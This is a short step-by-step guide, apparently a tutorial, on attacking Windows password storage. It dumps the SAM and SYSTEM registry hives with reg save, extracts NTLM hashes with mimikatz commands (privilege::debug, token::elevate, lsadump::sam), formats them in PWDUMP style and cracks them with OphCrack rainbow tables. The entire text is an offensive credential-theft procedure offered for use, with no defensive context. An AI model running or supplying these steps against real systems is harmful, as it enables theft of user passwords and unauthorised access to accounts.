WINDOWS SAM FILES ATTACK

This guide will help you to exploit an attack on windows password, specifically attacking sam and system files, that contains hashed passwords of users.

For this purpose, we need two tools, mimikatz and ophcrack

Steps:

1. Download tools:
    a. Mimikatz
    b. OphCrack
    c. OphCrack Tables
2. Dump SAM files
    a. Open CMD (or PowerShell) as Root:
    b. $reg save HKLM\SAM sam.bkp
    c. $reg save HKLM\SYSTEM sys.bkp
3. Extract hashes
    a. From a CMD (or PowerShell) opened as Root execute this commands:
    b. $mimikatz
        i. privilege::debug
        ii. token::elevate
        iii. log hash.txt
        iv. lsadump::sam sys.bkp sam.bkp
    c. Open file hash.txt and look for users that we want to crack
    d. Once we locate one user we can extract hash:
    e. Go on ophcrack/x64 folder
    f. Create new txt file, called users.txt
    g. Open it and write the users informations in this format
        i. **<<USER_NAME>>:<<USER_ID>>::<<NTLM_HASH>>:::**
        ii. Es: **IEUSER:::<<HASH_OF_USER>>:::**
        iii. Note that user_id parameter is not mandatory
4. Crack hashes
    a. Open OphCrack as root
    b. Load hashes
        i. Click on load
        ii. Select **PWDUMP** option
        iii. Select users.txt file
    c. Load Tables
        i. Click on tables
        ii. Select folder of tables previously extracted (vista_prob) and click chose
    d. Crack
        i. Click on Crack and wait